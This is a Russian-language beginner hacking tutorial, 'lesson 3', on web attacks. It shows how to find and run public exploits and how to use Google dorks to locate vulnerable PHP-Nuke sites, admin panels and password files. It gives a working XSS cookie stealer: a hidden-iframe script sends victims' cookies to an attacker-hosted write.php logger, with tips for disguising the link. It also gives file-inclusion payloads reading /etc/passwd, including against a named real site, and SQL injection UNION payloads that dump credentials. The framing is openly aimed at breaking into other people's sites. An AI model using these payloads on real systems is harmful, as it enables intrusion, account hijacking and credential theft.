Урок 3 Хакерство для новичков Вступление. Здравствуйте уважаемые читатели. Мы продолжаем значиться азами веб хакинга. Это 3 урок и вот какие темы мы сегодня разберем: Сплоиты – структура и использование
Google hacking Более подробное изучение таких уязвимостей как: -sql injection -xss -php include Сплоиты.
Или эксплоиты. Это программы или скрипты которые автоматически реализуют какую либо уязвимость. Мы будем знакомиться с эксплоитами для веб приложений.
Кроме них существуют эксплоиты для прикладных программ. Они более сложные и тебе пока рановато их изучать.
Итак, возьмем инъекцию из прошлого урока http://www.site.us/main.php?id=18646644+union+select+1,2,3,name,password,6,7+from+user/*
Представим, что эта уязвимость была обнаружена в какой то СMS с названием CoolCMS
Что бы каждому кто хочет взломать этот движок не нужно было раскручивать sql injection самому,
мы напишем эксплоит, который будет реализовывать уязвимость и выдавать только логин и пароль администратора.
Приводить текст эксплоита я не буду а только разберем суть алгоритма: Сначала нужно сделать обратиться к сайту с составленным запросом для вывода логина и пароля.
Далее нам вернется страничка с аккаунтом
Теперь нужно пропарсить страницу и найти логин пароль. Все. Ну кончено это самый примитивный пример.
Но надеюсь ты понял зачем нужны эксплоиты. Алгоритм эксплоита привиденного выше можно реализовать практически на любом языке программирования.
Но обычно эксплоиты для веб приложений пишутся на PHP или Perl
Давайте теперь разберем классический сценарий: Твоя цель взломать какой то сайт. Зайдя на него ты видишь в подвале такую надпись:
Power by PHP-nuke 8.0
Это значит сайт работает на движке найков.
Теперь нужно попробовать найти паблик эксплоиты под эту версию.
Можно пойти на багтрак, но я предпочитаю пользоваться поисковиком:
PHP-nuke 8.0 exploit
После непродолжительного парсинга ссылок мы находим сплоит:
http://milw0rm.com/exploits/3346
Видим надпись #!/usr/bin/perl
Это значит эксплоит написан на perl.
Далее видим это:
#0day exploit for PHP-nuke <=8.0 Final
0day – значит эксплоит нулевого дня. Т.е. под него еще не выпущено заплаток под эту версию.
Итак, сполит на перл. Если у тебя стоит linux то запустить его можно командой
Perl exploit.pl
С windows посложнее. Тут придется поставить интерпретатор для языка. Но не бойся это не сложно. Скачать его можно здесь
После установки можно так же воспользоваться командой perl в консоли.
Perl exploit.pl
Далее программа покажет необходимые аргументы для этого эксплоита.
В большинстве случаев понадобится только адрес сайта.
Таксс, раз разговор зашел про запуск давайте разберем как использовать php эксплоиты.
Вообще желательно поставить php+apache+mysql. Т.к. это пригодится нам в будущем для тестирования движков.
Apache - это сервер
mysql - это база данных.
Мануал по установке можно найти здесь.
После этого достаточно скопировать php сплоит в папку www и запустить из браузера.
localhost/exploit.php
Либо в командной строке набрать
php путь до сплоита
В следующем уроке разберем исходник настоящего эксплоита.
Google hacking.
Поиск бажных сайтов
Возьмем опять же уязвимость PHP-nuke 8.0. Давайте с помощью поисковика найден сайты которые построенные на основе этого движка.
К этим сайтам можно применить наш сплоит. Запрос в google будет примерно таким:
Site: PHP-nuke 8.0
Поисковик выдаст нам список сайтов, на которых присутствует строка: PHP-nuke 8.0. В большинстве случаев это буду сайты которые нам нужны. Потом открываем любой сайт и применяем сплоит.
Надеюсь понятно, что можно искать любые бажные движки. Можно просто зайти на любой багтрак и быбрать уязвимый двиг, под который есть сплоит. И далее с помощью гугла найти сайты с этим движком.
В прошлом уроке я показывал как искать ресурсы с возможным php include bug:
inurl: "page=”
inurl ищет указанную строку в адресе сайта
Можно сделать такой запрос:
inurl:”id=1”
и гугл выдаст ссылки, в которых присутствует строка id=1. Некоторые из них возможно уязвимы к sql injection.
А если сделать так:
inurl:”page=” and ".us”
То гугл найдет все сайты с которые находятся в зоне .us(американские)
Кстати, еще можно указать тип документа:
filetype:asp
Гугл выдаст нам найденные asp сценарии.
Поиск админки Теперь давайте разберем как гугл может помочь нам при атаке на конкретный сайт.
Во первых поиск административной панели aka админки. Бывают случаи, когда например с помощью sql injection удалось вытянуть аккаунт администратора, но найти админку не удается.
Вот стандартные пути:
www.site.us/admin
www.site.us/administrator
www.site.us/admin.php
Но бывает, что у админов есть немного мозгов. И они прячут админ панель в недры дирикторый сайта. Что бы найти их нам опять же поможет гугл
Site: www.site.us admin
Или
Site: www.site.us admin.php
Ну и тому подобные запросы.
А вот такой запрос найдет все текстовые файлы сайта
Site: www.site.us filetype:txt
Можно попробовать поискать интересные файлы, что то вроде:
Site: www.site.us filetype:txt password.
Продолжаем знакомится с xss php include sql injection
Xss
Итак, на прошлом уроке мы научились искать xss, сейчас я покажу из за чего проиходит ошибка и каким образом можно украсть и подменить файлы cookies.
Рассмотрим небольшой сценарий:
[form name="form" action="questbook.php" method="GET"]
[input type=text name="text"]
[input type=submit name="submit" value="Send"]
[?php
$message=$_GET[‘text’]; Echo $message; ?]
Сначала в переменную $message считывается значение text из массива GET. Далее мы просто выводим надпись. Что касается формы, то в ней расположены текстовое поле (text) и кнопка для отправки сообщения.
Так вот. Входящяя информация Никак не фильтруется, т.е. пользователь может ввести любые символы в текстовое поле.
А если ввести скрипт, то он сответстенно выполнится.
Фактически это и есть причина xss.
Так теперь даавйте попробуем украсть Куки.
У нас есть xss такого вида.
www.site.us/questbook.php?text=[script]alert(‘xss’)[/script]
Итак, давайте введем такой скрипт (можешь использовать xss с прошлого урока):
www.site.us/questbook.php?text=[script]alert(document.cookie)[/script]
Такой скрипт выдаст нам наши Куки. Но нам нужны Куки юзера(админа), причем Куки эти нужно записать в лог файл.
Дело в том, что читать Куки от данного сайта, может только сам данный сайт. Поэтому поступаем так:
Регестрируемся на бесплатном хостинге с поддержкой php (в конце приведу список), далее создаем файл Snif.js таким содержанием:
Snif.js document.write('[iframe width=1 height=1 style="position: absolute; visibility: hidden;"
src="'+'http://хост/write.php'+'?host='+location.host+'&cook='+document.cookie+'"][/iframe]');
Этот код открывает невидимый фрейм, в котором загружается файл 'http://хост/write. (ему передаются в переменных host и cook хост и COOKIES человека, который открыл страницу).
Так как этот фрейм будет являться частью самой зараженной странички, он будет иметь доступ к COOKIES’ам этого сайта.
Далее в сценарии write.php мы просто запишем файлы Кук:
Write.php
[?
$file = fopen("cookies.txt","a");
fputs($file,"[".date("d.m.y H:i")."]: host=".$_GET[‘host’].", COOKIES=”.$_GET[‘cook’].”rn");
fclose($file);
?]
Такс у нас есть файл с javascript кодом который ворует Куки, у нас есть файл которые эти Куки сохраняет. А скрипт в xss будет такой:
www.site.us/questbook.php?text=[script src=http://хост/snif.js][/script]
Все, осталось только дать ссылку жертве.
Напоследок вот еще что выше привиденный адрес довольно подозрительный. Его лучше закодировать в шестнадцатеричный код. Это можно сделать здесь. В разделе En/De Coder нужно выбрать Url Encode.
PHP include
Опять же наипростейший пример:
[?php
$f=$_GET[‘file’];
if(file_exists($f))
Include(‘file’);
?]
Как видишь функция include подгружает указанный файл. Проме include существует почти аналогичная функция require.
Так вот. Данные берутся из get массива. Т.е. мы легко из можем подделать:
http://x3k.ru/ www.site.us/include.php?file=/etc/passwd
http://x3k.ru/ Это пример из прошлого урока. Теперь разберем еще один кусок кода:
[?php
$f=$_GET[‘file’];
$f2=fopen("$f.txt”,r));
?]
Тут уже используется функция fopen, которая также уявзима.
В коде мы к имени файла прибавляем расширение .txt т.е. когда мы будет пытаться читать локальные файлы это будет выглядеть так:
/etc/passwd.txt
Естественно ничего мы прочитать не сможем. Выход использовать NULL байт.
%00 – нуль байт. После его вставки часть строки обрубается.
Смотри:
/etc/passwd%00.txt
В итоге будет:
/etc/passwd
А вот на примере:
www.site.us/include.php?file=/etc/passwd%00
Бывает что и это не помогает прочитать файлы. Иногда нужно подняться на несколько дирикторий выше что бы появилась возможность посмотреть файл. Смотрим на примере:
www.site.us/include.php?file=../../../../../../../../../../../../../etc/passwd%00
Итак во первых – для просмотра файла /etc/passwd нужно перейти в корневую дирикторию и далее зайти в папку /etc.
Тоeсть сначала мы добираемся до корня. Это делается с помощью двух точек и слеша. Дело в том что в unix системах ..
означает каталог выше. Т.к. расположение файла неизвестно и надежнее будет поставить побольше знаков «../»
Всегда обращай внимание на ошибки которые появляются после вставки какого либо запроса.
Вот смоти:
Php include bug
http://www.wkar.msu.edu/sportstalk/page.php?StaffID=37&fill=[hacked]
Смотрим на ошибку:
Warning: include(content/[hacked].php) [function.include]: failed to open stream: No such file or directory in /home/httpd/htdocs/sportstalk/page.php on line 23
Как видишь используется функция include() к имени прибавляется расширение .php, значит нужен NULL byte, к томуже мы узнали расположение текущего сценария (/home/httpd/htdocs/sportstalk/page.php).
SQL injection
На прошлом уроке я обещал подробнее рассказать про уязвимость SQL injection, этим мы сейчас и займемся.
Во первых разберем небольшую иерархию.
База данных
Таблица
Столбец
Поле
На примере это выглядит так:
База данных onlineshop
Таблица onlineshop.users
-----------------------
| Login password |
------------------------
Stas 123456
Misha 123456
Maxim 123456
Roma 123456
------------------------
Что сдесь что?:
Login password это столбцы. Имена пользователей и пароли это поля. Вот собственно и все. А вот так составляется запрос в php:
…………..
$q=”SELECT * FROM USERS where login=$login password=$pass”
…………..
Во первых
SELECT – выбирает данные из таблицы
Where – задает условие, т.е. в нашем случае нам нужно выбрать данные с определнные логином и паролем.
Вот собственно и ошибка. Если подставить $login или $pass не фильтруются, то появляется возможность выполнять SQL команды.
Теперь конкретно как мы это делаем:
Допустим где то на сайте нашли ниъекцию:
www.site.us/sql?id=1’
Далее мы подобрали что столбцов 6:
Активные 3,4
www.site.us/sql? id=1’+union+select+1,2,login,password,5,6+from+onlineshop.users /*
Это покажет нам аккаунт первого пользователя. Как правило таковым является администратор. Если нужно выбрать конкретного пользователя поступаем там:
www.site.us/sql?login=1’+union+select+1,2,login,password,5,6+from+onlineshop.users+limit 1,2 /*
Так выбираем 2 пользователя.
Замечу что знак пробела мы заменяем символом +. А знак /* означает комментарий. Значит после этого знак весь ненужным запрос будет обрезан.
И еще – допустим с помощью order by мы подобрали кол во столбцов.
Делаем так:
www.site.us/sql?id=1’+union+select+1,2,3,4,5,6/*
По идее мы должны увидить читабельные столбцы, но бывает, что вывода не проиходит.
Тогда нужно поступать так:
www.site.us/sql?id=-1’+union+select+1,2,3,4,5,6/*
Послесловие:
Ну вот.
Советую получше изучить mysql и php, а также как они взаимодействуют друг с другом.
На следущем уроке мы будет разбирать реальный сплоит. Также я расскажу про ReversIP. Покажу несколько инструментов, которые пригодятся при взломе. Так же мы будет продолжать знакомится с уязвимостями.
Я расскажу что такое обход фильтрации в xss В разделе про PHP include мы будем разбирать как читать и
использовать в своих целях логии apache. Еще мы конечно же будет подробнее изучать скуль инъекции. Покажу опять же обход фильтрации и особенности 5 ветки mysql
Ps в комментариях прошу не флудить. Лучше задавайте вопросы по статье.
Несколько бесплтных хостингов с поддержкой php
www.yard.ru
www.holm.ru/?p=34880
www.hostland.su/
|